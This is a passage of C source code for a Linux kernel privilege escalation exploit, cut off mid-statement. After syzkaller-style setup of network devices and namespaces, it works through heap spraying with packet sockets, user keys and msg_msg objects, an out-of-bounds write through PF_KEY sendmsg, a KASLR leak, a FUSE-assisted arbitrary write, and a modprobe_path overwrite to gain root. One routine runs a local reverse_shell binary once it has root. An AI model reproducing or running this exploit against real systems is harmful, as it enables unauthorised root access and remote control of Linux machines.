WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, sizeof(endpoint_b_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[5], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err < 0) { } error: close(sock); } static void initialize_netdevices(void) { char netdevsim[16]; sprintf(netdevsim, "netdevsim%d", (int)procid); struct { const char* type; const char* dev; } devtypes[] = { {"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"}, {"vcan", "vcan0"}, {"bond", "bond0"}, {"team", "team0"}, {"dummy", "dummy0"}, {"nlmon", "nlmon0"}, {"caif", "caif0"}, {"batadv", "batadv0"}, {"vxcan", "vxcan1"}, {"netdevsim", netdevsim}, {"veth", 0}, {"xfrm", "xfrm0"}, {"wireguard", "wg0"}, {"wireguard", "wg1"}, {"wireguard", "wg2"}, }; const char* devmasters[] = {"bridge", "bond", "team", "batadv"}; struct { const char* name; int macsize; bool noipv6; } devices[] = { {"lo", ETH_ALEN}, {"sit0", 0}, {"bridge0", ETH_ALEN}, {"vcan0", 0, true}, {"tunl0", 0}, {"gre0", 0}, {"gretap0", ETH_ALEN}, {"ip_vti0", 0}, {"ip6_vti0", 0}, {"ip6tnl0", 0}, {"ip6gre0", 0}, {"ip6gretap0", ETH_ALEN}, {"erspan0", ETH_ALEN}, {"bond0", ETH_ALEN}, {"veth0", ETH_ALEN}, {"veth1", ETH_ALEN}, {"team0", ETH_ALEN}, {"veth0_to_bridge", ETH_ALEN}, {"veth1_to_bridge", ETH_ALEN}, {"veth0_to_bond", ETH_ALEN}, {"veth1_to_bond", ETH_ALEN}, {"veth0_to_team", ETH_ALEN}, {"veth1_to_team", ETH_ALEN}, {"veth0_to_hsr", ETH_ALEN}, {"veth1_to_hsr", ETH_ALEN}, {"hsr0", 0}, {"dummy0", ETH_ALEN}, {"nlmon0", 0}, {"vxcan0", 0, true}, {"vxcan1", 0, true}, {"caif0", ETH_ALEN}, {"batadv0", ETH_ALEN}, {netdevsim, ETH_ALEN}, {"xfrm0", ETH_ALEN}, {"veth0_virt_wifi", ETH_ALEN}, {"veth1_virt_wifi", ETH_ALEN}, {"virt_wifi0", ETH_ALEN}, {"veth0_vlan", ETH_ALEN}, {"veth1_vlan", ETH_ALEN}, {"vlan0", ETH_ALEN}, {"vlan1", ETH_ALEN}, {"macvlan0", ETH_ALEN}, {"macvlan1", ETH_ALEN}, {"ipvlan0", ETH_ALEN}, {"ipvlan1", ETH_ALEN}, {"veth0_macvtap", ETH_ALEN}, {"veth1_macvtap", ETH_ALEN}, {"macvtap0", ETH_ALEN}, {"macsec0", ETH_ALEN}, {"veth0_to_batadv", ETH_ALEN}, {"veth1_to_batadv", ETH_ALEN}, {"batadv_slave_0", ETH_ALEN}, {"batadv_slave_1", ETH_ALEN}, {"geneve0", ETH_ALEN}, {"geneve1", ETH_ALEN}, {"wg0", 0}, {"wg1", 0}, {"wg2", 0}, }; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); unsigned i; for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev); for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) { char master[32], slave0[32], veth0[32], slave1[32], veth1[32]; sprintf(slave0, "%s_slave_0", devmasters[i]); sprintf(veth0, "veth0_to_%s", devmasters[i]); netlink_add_veth(&nlmsg, sock, slave0, veth0); sprintf(slave1, "%s_slave_1", devmasters[i]); sprintf(veth1, "veth1_to_%s", devmasters[i]); netlink_add_veth(&nlmsg, sock, slave1, veth1); sprintf(master, "%s0", devmasters[i]); netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL); netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL); } netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL); netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL); netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr"); netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr"); netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1"); netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL); netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL); netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi"); netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0", "veth1_virt_wifi"); netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan"); netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q)); netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD)); netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan"); netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan"); netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0); netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S, IPVLAN_F_VEPA); netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap"); netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap"); netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap"); char addr[32]; sprintf(addr, DEV_IPV4, 14 + 10); struct in_addr geneve_addr4; if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0) exit(1); struct in6_addr geneve_addr6; if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0) exit(1); netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0); netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6); netdevsim_add((int)procid, 4); netlink_wireguard_setup(); for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) { char addr[32]; sprintf(addr, DEV_IPV4, i + 10); netlink_add_addr4(&nlmsg, sock, devices[i].name, addr); if (!devices[i].noipv6) { sprintf(addr, DEV_IPV6, i + 10); netlink_add_addr6(&nlmsg, sock, devices[i].name, addr); } uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40); netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr, devices[i].macsize, NULL); } close(sock); } static void initialize_netdevices_init(void) { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); struct { const char* type; int macsize; bool noipv6; bool noup; } devtypes[] = { {"nr", 7, true}, {"rose", 5, true, true}, }; unsigned i; for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) { char dev[32], addr[32]; sprintf(dev, "%s%d", devtypes[i].type, (int)procid); sprintf(addr, "172.30.%d.%d", i, (int)procid + 1); netlink_add_addr4(&nlmsg, sock, dev, addr); if (!devtypes[i].noipv6) { sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1); netlink_add_addr6(&nlmsg, sock, dev, addr); } int macsize = devtypes[i].macsize; uint64_t macaddr = 0xbbbbbb + ((unsigned long long)i << (8 * (macsize - 2))) + (procid << (8 * (macsize - 1))); netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr, macsize, NULL); } close(sock); } static void setup_common() { if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { } } static void loop(); static int wait_for_loop(int pid) { if (pid < 0) exit(1); int status = 0; while (waitpid(-1, &status, __WALL) != pid) { } return WEXITSTATUS(status); } static void drop_caps(void) { struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data[2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit(1); const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); cap_data[0].effective &= ~drop; cap_data[0].permitted &= ~drop; cap_data[0].inheritable &= ~drop; if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit(1); } static int real_uid; static int real_gid; __attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20]; static int namespace_sandbox_proc(void* arg) { write_file("/proc/self/setgroups", "deny"); if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) exit(1); if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) exit(1); initialize_netdevices_init(); if (unshare(CLONE_NEWNET)) exit(1); initialize_netdevices(); loop(); exit(1); } static int do_sandbox_namespace(void) { setup_common(); real_uid = getuid(); real_gid = getgid(); mprotect(sandbox_stack, 4096, PROT_NONE); int pid = clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64], CLONE_NEWUSER | CLONE_NEWPID, 0); return wait_for_loop(pid); } uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; struct fork_args { int n; unsigned int time; }; void fork_spary_n(int n, unsigned int time, int debug){ int i; int pid ; for(i = 0;i < n;i++){ pid = fork(); if(pid ==0){ ioctl(-1, 0x37778, &debug); sleep(time); if(getuid() == 0){ fprintf(stderr, "[+] now get r00t\n" ); system("id"); system("/home/p4nda/Desktop/reverse_shell"); } else{ pause(); } } } } #include #include #include void packet_socket_rx_ring_init(int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) { perror("[-] setsockopt(PACKET_VERSION)"); exit(EXIT_FAILURE); } struct tpacket_req3 req; memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (rv < 0) { perror("[-] setsockopt(PACKET_RX_RING)"); exit(EXIT_FAILURE); } } int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) { perror("[-] socket(AF_PACKET)"); exit(EXIT_FAILURE); } packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) { perror("[-] bind(AF_PACKET)"); exit(EXIT_FAILURE); } return s; } void initialise_shared(shared_data **data) { // place our shared data in shared memory int prot = PROT_READ | PROT_WRITE; int flags = MAP_SHARED | MAP_ANONYMOUS; *data = mmap(NULL, sizeof(shared_data), prot, flags, -1, 0); if (*data == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } #ifdef DEBUG printf("initialise_shared map %lx", *data); #endif (*data)->done = 0; // initialise mutex so it works properly in shared memory pthread_mutexattr_t attr; pthread_mutexattr_init(&attr); pthread_mutexattr_setpshared(&attr, PTHREAD_PROCESS_SHARED); pthread_mutex_init(&(*data)->mutex, &attr); for (int i=0; i<=N_PROCS; i++) pthread_mutex_init(&(*data)->proc_mutex[i], &attr); } int pagealloc_pad(int count, int size) { return packet_socket_setup(size, 2048, count, 0, 100); } int packet_sock_kmalloc() { int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); if (s == -1) { perror("[-] socket(SOCK_DGRAM)"); exit(EXIT_FAILURE); } return s; } void send_xattr_debug(void *arg) { char name[256]; void *addr = ((struct spray_argv *)arg)->addr; int size = ((struct spray_argv *)arg)->size; pthread_mutex_lock(&spray_lock->mutex); spray_lock->done++; pthread_mutex_unlock(&spray_lock->mutex); #ifdef DEBUG int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_USER_KEY_PAYLOAD | PRINT_XATTR); ioctl(-1, 0x37778, &debug); #endif syscall(__NR_setxattr, "./", "exp", addr, size, 0); } void spray_4k_thread(int size, int n) { pthread_t *thr = malloc(sizeof(pthread_t)); struct spray_argv *arg = (struct spray_argv *)malloc(sizeof(struct spray_argv)); arg->addr = fuse_mem_addr; arg->size = size; pthread_mutex_lock(&spray_lock->mutex); for (int j=0; jdone++; pthread_create(thr, NULL, send_xattr_debug, (void *) arg); } } void release_spray_4k_lock(int limit) { pthread_mutex_unlock(&spray_lock->mutex); while (spray_lock->done < limit) usleep(10000); spray_lock->done = 0; } int *spray_user_key(int n, int size, int base) { int payload_size = size - sizeof(struct fake_user_key_payload); int *fd = malloc(n * sizeof(int)); void *addr = malloc(0x30000); char *buf = addr; char *name = (uint64_t)addr + 0x20000; memcpy((void*)name, "user\000", 5); for (int i = 0; i < n; i++) { release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB-2); memset(buf, 0x41, payload_size); char *des = (uint64_t)addr + 0x10000ul; sprintf((void*)des, "syz%d\x00", base*n+i); #ifdef DEBUG printf("add key %d\n", base); #endif fd[i] = syscall(__NR_add_key, name, des, buf, payload_size, -1); if (fd[i] < 0) { perror("add_key failed\n"); pause(); } } return fd; } void init_fuse_mem(char *fuse_path, void **fuse_addr, void *base, int size) { fuse_fd = open(fuse_path, O_RDWR); if (fuse_fd < 0) { perror("open fuse failed\n"); exit(1); } if (base == NULL) *fuse_addr = mmap(base, size, PROT_READ | PROT_WRITE, MAP_SHARED, fuse_fd, 0); else *fuse_addr = mmap(base, size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, fuse_fd, 0); if (*fuse_addr == MAP_FAILED) { perror("mmap failed\n"); exit(1); } #ifdef DEBUG printf("mmap-> 0x%llx\n", *fuse_addr); #endif } void send_xattr(void *arg) { void *addr = ((struct spray_argv *)arg)->addr; int size = ((struct spray_argv *)arg)->size; pthread_mutex_lock(&spray_lock->mutex); spray_lock->done++; pthread_mutex_unlock(&spray_lock->mutex); syscall(__NR_setxattr, "./", "exp", addr, size, 0); } void spray_4k(int n, int size) { if (fuse_mem_addr == NULL) perror("fuse_mem_addr is NULL"); initialise_shared(&spray_lock); for (int k=0; kaddr = fuse_mem_addr; arg->size = size; hang_threads->done++; pthread_create(&thr, NULL, send_xattr, (void *) arg); } pause(); } } while(spray_lock->done < n * SLAB_4k_OBJS_PER_SLAB-1) { usleep(10000); } spray_lock->done = 0; } void oob_write(char *payload, int size, int oob_page, int fd1, int fd2) { struct msghdr msg; struct iovec iov; char *addr = NULL; memset(&iov, 0, sizeof(iov)); memset(&msg, 0, sizeof(msg)); for (int i = 0; i < 8; i++) { memset((void*)0x20000000+i*PAGE_SIZE+LAST_PAGE_GAP_BYTES, 0x41+i, 4096); } for (int i=8; i<=oob_page; i++) { addr = 0x20000000+i*PAGE_SIZE+LAST_PAGE_GAP_BYTES; memset(addr, 0x0, 4096); memcpy(addr, payload, size); } iov.iov_base = (void*)0x20000000; iov.iov_len = oob_page*PAGE_SIZE + LAST_PAGE_GAP_BYTES + size; msg.msg_name = 0x0; msg.msg_namelen = 0x0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = 0; msg.msg_controllen = 0; msg.msg_flags = 0; if (fd1 != -1) close(fd1); if (fd2 != -1) close(fd2); syscall(__NR_sendmsg, r[1], &msg, 0ul); } bool leak_kalsr() { int fd1, fd2, fd3, fd_vul[N_PROCS], fd_t1, fd_t2; int num_keys = 20000 / SIZE_OF_USER_KEY_PAYLOAD; int *key_fd; char *leak_buf; // consume kmalloc-4k slabs in order to make `user_key_payload` allocate new slab from buddy allocator spray_4k(0x50, SIZE_OF_USER_KEY_PAYLOAD); printf("[+] spraying 4k objects\n"); initialise_shared(&two_loop); for (int i=0; i<=N_PROCS; i++) pthread_mutex_lock(&two_loop->proc_mutex[i]); int id = N_PROCS; for (int i=0; iproc_mutex[id]); break; } if (i==N_PROCS-1) { // hang main proc pthread_mutex_unlock(&two_loop->proc_mutex[0]); pthread_mutex_lock(&two_loop->proc_mutex[N_PROCS]); } } #ifdef DEBUG printf("id %d started\n", id); int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_USER_KEY_PAYLOAD); ioctl(-1, 0x37778, &debug); #endif //pagealloc_pad(0x500, 0x8000); //sleep(1); fd_vul[0] = pagealloc_pad(1, 0x8000); // reserve order 3 pages for target obj1 (user_key_payload) fd_t1 = pagealloc_pad(1, 0x8000); // reserve order 3 pages for target obj2 (msg_msg) fd_t2 = pagealloc_pad(1, 0x8000); // arrange target obj1 (user_key_payload) to memory 3 (fd3) //spray_4k(1, SIZE_OF_USER_KEY_PAYLOAD); spray_4k_thread(SIZE_OF_USER_KEY_PAYLOAD, SLAB_4k_OBJS_PER_SLAB-1); close(fd_t1); key_fd = spray_user_key(1, SIZE_OF_USER_KEY_PAYLOAD, id); spray_4k_thread(SIZE_OF_USER_KEY_PAYLOAD, SLAB_4k_OBJS_PER_SLAB-1); release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB-2); // arrange target obj2 (msg_msg) to memory 4 (fd4) //pagealloc_pad(20, 0x8000); for (int i = 0; i < 100; i++) { open("/proc/self/stat", O_RDONLY); } close(fd_t2); //printf("[+] Spraying msg with segments\n"); msg_spray(SLAB_4k_OBJS_PER_SLAB * (SLAB_4k_CPU_PARTIAL) , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1); #ifdef DEBUG printf("id %d finished\n", id); #endif if (id < N_PROCS) { pthread_mutex_unlock(&two_loop->proc_mutex[id+1]); pthread_mutex_lock(&two_loop->proc_mutex[id]); } else { for (int i=0; iproc_mutex[i]); } close(fd_vul[0]); #ifdef DEBUG debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_USER_KEY_PAYLOAD); ioctl(-1, 0x37778, &debug); #endif if (id == N_PROCS) { printf("start oob write\n"); struct fake_user_key_payload *fake_key = (struct fake_user_key_payload *)malloc(sizeof(struct fake_user_key_payload)+8); memset(fake_key, 0, sizeof(*fake_key)); fake_key->next = 0; fake_key->callback = 0; fake_key->datalen = 0x7000; memset(fake_key+sizeof(struct fake_user_key_payload), 0x0, 0x8); oob_write(fake_key, sizeof(*fake_key)+8, OOB_PAGE, -1, -1); free(fake_key); for (int i=0; i<=N_PROCS; i++) pthread_mutex_unlock(&two_loop->proc_mutex[i]); } pthread_mutex_lock(&two_loop->proc_mutex[id]); leak_buf = malloc(0x8000); memset(leak_buf, 0x43, 0x8000); if (syscall(__NR_keyctl, KEYCTL_READ, key_fd[0], leak_buf, 0x8000, 0) == -1) { perror("keyctl failed"); } if (*(uint64_t*)leak_buf != 0x4141414141414141) { for (int j=0; j<8; j++) { uint64_t *data = (uint64_t)leak_buf + j*PAGE_SIZE - sizeof(struct fake_user_key_payload) + sizeof(struct fake_msg_msg); #ifdef DEBUG printf("msg %d data %llx\n", j, *data); #endif if (*data == 0x3737373737373737) { struct fake_msg_msg *msg = (uint64_t)leak_buf + j*PAGE_SIZE - sizeof(struct fake_user_key_payload); printf("[+] msg->next %llx\n", msg->next); msg_next = msg->next; msglist_next = msg->m_list.next; msglist_prev = msg->m_list.prev; break; } } } free(leak_buf); if (msg_next == NULL) { if (id != N_PROCS) { two_loop->done++; printf("[-] %d/%d threads hang\n", two_loop->done, N_PROCS + 1); pthread_mutex_lock(&two_loop->proc_mutex[id]); exit(1); } else { for (int i=0; i<3; i++) { if (two_loop->done == N_PROCS) { for (int i=0; i<=N_PROCS; i++) pthread_mutex_unlock(&two_loop->proc_mutex[i]); return false; } sleep(1); } pthread_mutex_lock(&two_loop->proc_mutex[id]); exit(1); } } // stage 2: leak kernel address. // Now we have a correct msg->next pointer, we can freely overwrite struct msg->m_ts // as well as the msg->next. if (fork() != 0) { int status; wait(&status); exit(0); } pagealloc_pad(0x100, 0x1000); for (int i=0; i<50; i++) { #ifdef DEBUG debug = (PRINT_PAGE_FREE_DETAIL); ioctl(-1, 0x37778, &debug); #endif pagealloc_pad(0x100, 0x8000); //sleep(1); #ifdef DEBUG debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG); ioctl(-1, 0x37778, &debug); #endif int fd_msg[N_LOOP]; int msqid_all[4096]; printf("[+] spraying msg for OOB write\n"); for (int i=0; i<8; i++) { fd_vul[i] = pagealloc_pad(1, 0x8000); fd_msg[i] = pagealloc_pad(1, 0x8000); } for (int i=0; im_list.next = msglist_next; fake_msg->m_list.prev = msglist_prev; fake_msg->m_type = 1; fake_msg->m_ts = 0x1fc8; fake_msg->next = msg_next; oob_write(fake_msg, sizeof(*fake_msg), OOB_PAGE, -1, -1); free(fake_msg); leak_buf = malloc(0x2000); for (int i=0; i 0x1000) { for (j=1; j 0x%lx(%ld)\n", single_start, single_stop, kaslr_offset, kaslr_offset); break; } } } if (kaslr_offset != NULL) break; } if (kaslr_offset == NULL) continue; break; } if (kaslr_offset == NULL) { for (int i=0; i<=N_PROCS; i++) pthread_mutex_unlock(&two_loop->proc_mutex[i]); return false; } return true; } void fuse_sendmsg(struct spary_msg_arg *arg) { int i; int qbytes = MAX_QBYTES_IN_QUEUE; int _msqid; void *target = arg->dst; int size = arg->size; if ((_msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); return false; } #ifdef KERNEL_DEBUG int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG | PRINT_MSG_DETAIL); ioctl(-1, 0x37778, &debug); #endif pthread_mutex_lock(&spray_lock->mutex); spray_lock->done++; pthread_mutex_unlock(&spray_lock->mutex); struct msgbuf_key *msg_key = target; //printf("fuse_sendmsg %d start\n", _msqid); msg_key->mtype = 1; int ret = msgsnd(_msqid, msg_key, PAGE_SIZE-SIZE_OF_MSG_MSG+size, 0); //printf("fuse_sendmsg %d done\n", _msqid); if (ret == -1) { perror("msgsnd error\n"); exit(1); } } int fuse_msg_spray(int num_msg, int size, void *dst) { int i; initialise_shared(&spray_lock); pthread_mutex_lock(&spray_lock->mutex); for (i = 0; isize = size; arg->dst = dst; hang_threads->done++; pthread_t *thr = malloc(sizeof(pthread_t)); pthread_create(thr, NULL, &fuse_sendmsg, arg); } return i; } bool arb_write(void *target_addr, int size, void *fuse_adr) { int fd_vul; int fd_msg; printf("[+] spraying msg for arbitrary write\n"); initialise_shared(&two_loop); for (int i=0; i<=N_PROCS; i++) pthread_mutex_trylock(&two_loop->proc_mutex[i]); int id = N_PROCS; for (int i=0; iproc_mutex[id]); break; } if (i==N_PROCS-1) { // hang main proc pthread_mutex_unlock(&two_loop->proc_mutex[0]); pthread_mutex_lock(&two_loop->proc_mutex[N_PROCS]); } } pagealloc_pad(0x100, 0x8000); #ifdef KERNEL_DEBUG int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG_DETAIL); ioctl(-1, 0x37778, &debug); printf("id %d started\n", id); #endif fd_vul = pagealloc_pad(1, 0x8000); fd_msg = pagealloc_pad(1, 0x8000); msg_spray(SLAB_4k_OBJS_PER_SLAB * (SLAB_4k_CPU_PARTIAL) , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1); fuse_msg_spray(SLAB_4k_OBJS_PER_SLAB + 1, size, fuse_adr); close(fd_msg); release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB + 1); usleep(10000); if (id != N_PROCS) { pthread_mutex_unlock(&two_loop->proc_mutex[id+1]); pthread_mutex_lock(&two_loop->proc_mutex[id]); } else { for (int i=0; iproc_mutex[i]); } close(fd_vul); if (id != N_PROCS) { pthread_mutex_lock(&two_loop->proc_mutex[id]); } struct fake_msg_msg *fake_msg = (struct fake_msg_msg *)malloc(sizeof(struct fake_msg_msg)); memset(fake_msg, 0, sizeof(*fake_msg)); fake_msg->m_list.next = msglist_next; fake_msg->m_list.prev = msglist_prev; fake_msg->m_type = 1; fake_msg->m_ts = PAGE_SIZE-SIZE_OF_MSG_MSG+size; fake_msg->next = target_addr; oob_write(fake_msg, sizeof(*fake_msg), OOB_PAGE, -1, -1); free(fake_msg); //write(fuse_pipes[1], "A", 1); } void modprobe_trigger() { execve(PROC_MODPROBE_TRIGGER, NULL, NULL); } int am_i_root() { struct stat buffer; int exist = stat("/tmp/exploited", &buffer); if(exist == 0) return 1; else return 0; } void modprobe_init() { int fd = open(PROC_MODPROBE_TRIGGER, O_RDWR | O_CREAT); if (fd < 0) { perror("trigger creation failed"); exit(-1); } char root[] = "\xff\xff\xff\xff"; write(fd, root, sizeof(root)); close(fd); chmod(PROC_MODPROBE_TRIGGER, 0777); } void overwrite_modprobe() { void *modprobe_path = addr_modprobe_path + kaslr_offset; printf("[+] modprobe_path: 0x%llx\n", modprobe_path); void *fuse_evil_addr; for (int i=0; i<50; i++) { if (fork() != 0) break; void *evil_page = mmap(0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); init_fuse_mem("evil2/evil", &fuse_evil_addr, evil_page+0x1000, 0x1000); if (fuse_evil_addr != (evil_page+0x1000)) { perror("mmap fail fuse 1"); exit(-1); } void *evil_page2 = mmap(fuse_evil_addr+0x1000, 0x10000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); struct msgbuf_key *evil_msg = fuse_evil_addr-0x8; arb_write(modprobe_path-8, strlen(evil_str), evil_msg); write(fuse_pipes[1], "A", 1); sleep(1); modprobe_trigger(); sleep(1); if (am_i_root()) { pthread_mutex_unlock(&shell_lock->mutex); pause(); } printf("[+] Not root, try again\n"); } pause(); } void loop(void) { struct msghdr msg; struct iovec iov; struct sadb_msg *nlh; struct sadb_ext *ehdr; cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { perror("[-] sched_setaffinity()"); exit(EXIT_FAILURE); } nlh = malloc(1024); memset(&iov, 0, sizeof(iov)); memset(&msg, 0, sizeof(msg)); memset(nlh, 0, 1024); intptr_t res = 0; res = syscall(__NR_socket, AF_NETLINK, SOCK_RAW, NETLINK_XFRM); res = syscall(__NR_socket, PF_KEY, SOCK_RAW, PF_KEY_V2); if (res != -1) r[0] = res; nlh->sadb_msg_version = 0x2; nlh->sadb_msg_type = SADB_ADD; nlh->sadb_msg_errno = 0x0; nlh->sadb_msg_satype = SADB_SATYPE_ESP; nlh->sadb_msg_len = 0xf; nlh->sadb_msg_reserved = 0; nlh->sadb_msg_seq = 0; nlh->sadb_msg_pid = 0; ehdr = (char *)nlh + sizeof(struct sadb_msg); ehdr->sadb_ext_len = 0x1; ehdr->sadb_ext_type = SADB_EXT_KEY_ENCRYPT; struct sadb_address *sa_addr = (struct sadb_ext *)((char *)ehdr + ehdr->sadb_ext_len * sizeof(uint64_t)); sa_addr->sadb_address_len = 0x5; sa_addr->sadb_address_exttype = SADB_EXT_ADDRESS_DST; sa_addr->sadb_address_proto = 0x0; sa_addr->sadb_address_prefixlen = 0x0; sa_addr->sadb_address_reserved = 0x0; struct sockaddr_in6 *addr = (char *)sa_addr + sizeof(struct sadb_address); addr->sin6_family = AF_INET6; addr->sin6_port = htons(0); addr->sin6_addr = in6addr_loopback; struct sadb_sa *sa = (struct sadb_sa *)((char *)sa_addr + sa_addr->sadb_address_len * sizeof(uint64_t)); sa->sadb_sa_len = 0x2; sa->sadb_sa_exttype = 